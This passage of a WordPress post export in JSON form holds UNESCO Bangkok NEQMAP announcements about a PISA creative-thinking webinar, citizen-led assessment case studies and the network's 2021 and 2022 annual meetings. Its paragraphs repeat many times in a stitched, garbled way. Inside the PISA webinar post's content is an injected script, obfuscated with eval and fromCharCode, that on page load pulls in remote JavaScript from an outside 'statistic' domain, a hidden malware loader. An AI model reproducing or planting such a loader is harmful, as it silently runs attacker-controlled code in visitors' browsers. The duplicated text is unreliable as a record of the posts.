12:49:39","post_modified_gmt":"2024-12-02 05:49:39","post_content_filtered":"\nThe Network on Education Quality Monitoring in Asia-Pacific (NEQMAP) is pleased to invite you to the \u201cThinking Outside the Box: The PISA 2022 Creative Thinking Assessment\u201d framework<\/strong> presentation and discussion <\/strong>by <\/strong>Natalie Foster<\/strong>, <\/strong>Analyst at the Organisation for Economic Cooperation and Development (OECD) <\/strong>this 14 March 2023.<\/strong><\/p>\n\n\n\n_______________________________________________________________  <\/p>\n\n\n\nPresenter:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/02\/image001.jpg\" alt=\"\" class=\"wp-image-5652\"\/><\/figure>\n\n\n\nNatalie Foster<\/strong> is an Analyst at the Organisation for Economic Cooperation and Development (OECD).

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script>","post_title":"Thinking outside the box: Assessing creative thinking in PISA","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"thinking-outside-the-box-assessing-creative-thinking-in-programme-for-international-student-assessment-pisa","to_ping":"","pinged":"","post_modified":"2024-12-02 12:49:39","post_modified_gmt":"2024-12-02 05:49:39","post_content_filtered":"\nThe Network on Education Quality Monitoring in Asia-Pacific (NEQMAP) is pleased to invite you to the \u201cThinking Outside the Box: The PISA 2022 Creative Thinking Assessment\u201d framework<\/strong> presentation and discussion <\/strong>by <\/strong>Natalie Foster<\/strong>, <\/strong>Analyst at the Organisation for Economic Cooperation and Development (OECD) <\/strong>this 14 March 2023.<\/strong><\/p>\n\n\n\n_______________________________________________________________  <\/p>\n\n\n\nPresenter:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/02\/image001.jpg\" alt=\"\" class=\"wp-image-5652\"\/><\/figure>\n\n\n\nNatalie Foster<\/strong> is an Analyst at the Organisation for Economic Cooperation and Development (OECD).

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children. In all four countries, the initiative is known as <a href=\"http:\/\/www.asercentre.org\/\">the Annual Status of Education Report, or ASER<\/a> \u2013 a word that means \u2018impact\u2019 in three of these four countries.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

